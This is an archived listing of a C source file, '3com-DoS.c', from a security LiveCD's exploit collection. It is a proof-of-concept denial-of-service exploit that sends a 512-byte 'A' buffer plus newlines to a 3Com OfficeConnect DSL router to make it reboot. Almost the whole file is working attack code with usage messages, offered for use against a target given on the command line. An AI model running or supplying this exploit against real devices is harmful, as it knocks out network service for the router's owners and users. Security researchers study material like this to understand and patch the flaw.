home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / 3com / 3com-DoS.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  2KB  |  74 lines

  1. /* 3com-DoS.c
  2.  *
  3.  * PoC DoS exploit for 3Com OfficeConnect DSL Routers.
  4.  This PoC exploit the
  5.  * vulnerability documented at:
  6. <http://www.securityfocus.com/bid/8248>,
  7.  * discovered by David F. Madrid.
  8.  *
  9.  * Successful exploitation of the vulnerability should
  10. cause the router to
  11.  * reboot.  It is not believed that arbitrary code
  12. execution is possible -
  13.  * check advisory for more information.
  14.  *
  15.  * -shaun2k2
  16.  */
  17.  
  18.  
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <sys/types.h>
  22. #include <sys/socket.h>
  23. #include <netdb.h>
  24. #include <netinet/in.h>
  25.  
  26. int main(int argc, char *argv[]) {
  27.         if(argc < 3) {
  28.                 printf("3Com OfficeConnect DSL Router DoS exploit by
  29. shaun2k2 - <shaunige@yahoo.co.uk>\n\n");
  30.                 printf("Usage: 3comDoS <3com_router> <port>\n");
  31.                 exit(-1);
  32.         }
  33.  
  34.         int sock;
  35.         char explbuf[521];
  36.         struct sockaddr_in dest;
  37.         struct hostent *he;
  38.  
  39.         if((he = gethostbyname(argv[1])) == NULL) {
  40.                 printf("Couldn't resolve %s!\n", argv[1]);
  41.                 exit(-1);
  42.         }
  43.  
  44.         if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
  45.                 perror("socket()");
  46.                 exit(-1);
  47.         }
  48.  
  49.         printf("3Com OfficeConnect DSL Router DoS exploit by
  50. shaun2k2 - <shaunige@yahoo.co.uk>\n\n");
  51.  
  52.         dest.sin_addr = *((struct in_addr *)he->h_addr);
  53.         dest.sin_port = htons(atoi(argv[2]));
  54.         dest.sin_family = AF_INET;
  55.  
  56.         printf("[+] Crafting exploit buffer.\n");
  57.         memset(explbuf, 'A', 512);
  58.         memcpy(explbuf+512, "\n\n\n\n\n\n\n\n", 8);
  59.  
  60.         if(connect(sock, (struct sockaddr *)&dest,
  61. sizeof(struct sockaddr)) == -1) {
  62.                 perror("connect()");
  63.                 exit(-1);
  64.         }
  65.  
  66.         printf("[+] Connected...Sending exploit buffer!\n");
  67.         send(sock, explbuf, strlen(explbuf), 0);
  68.         sleep(2);
  69.         close(sock);
  70.         printf("\n[+] Exploit buffer sent!\n");
  71.         return(0);
  72. }
  73.  
  74.